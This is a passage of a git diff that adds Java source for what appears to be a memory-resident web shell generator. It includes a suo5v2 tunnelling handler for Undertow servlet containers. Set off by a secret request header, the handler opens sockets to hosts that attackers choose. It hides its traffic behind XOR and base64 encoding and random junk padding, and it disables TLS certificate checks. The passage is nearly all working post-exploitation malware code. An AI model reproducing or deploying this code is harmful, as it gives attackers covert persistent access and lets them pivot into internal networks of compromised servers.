bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java new file mode 100644 index 00000000..d52d6049 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java @@ -0,0 +1,1174 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.http.HttpServletRequest; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2UndertowServletHandler() { + } + + public Suo5v2UndertowServletHandler(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2UndertowServletHandler(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + new Suo5v2UndertowServletHandler().process(request, response); + return true; + } + } catch (Throwable ignored) { + } + return false; + } + + private void process(Object request, Object response) { + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(request, response, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(response); + processFullStream(request, response, dataMap, tunId); + break; + case 0x02: + setBypassHeader(response); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(request, response, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + response.getClass().getMethod("setStatus", int.class).invoke(response, 403); + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(response, processTemplateStart(response, new String(sidData)), dirySize); + do { + processHalfStream(request, response, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(response, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(response, new String(sidData))); + + do { + processClassic(request, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + response.getClass().getMethod("setContentLength", int.class).invoke(response, baos.size()); + writeAndFlush(response, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(Object resp) throws Exception { + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, BUF_SIZE); + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(Object resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + pipeStream(conn.getInputStream(), out, false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(Object req, Object resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.getClass().getMethod("setContentLength", int.class).invoke(resp, baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(Object req, Object resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = (InputStream) req.getClass().getMethod("getInputStream").invoke(req); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + + Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(Object req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + } + + private byte[] performCreate(Object request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2UndertowServletHandler(tunId, 1)).start(); + new Thread(new Suo5v2UndertowServletHandler(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(Object request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(Object request, String rUrl, byte[] body) throws Exception { + String method = (String) request.getClass().getMethod("getMethod").invoke(request); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = (Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, (String) request.getClass().getMethod("getHeader", String.class).invoke(request, k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + 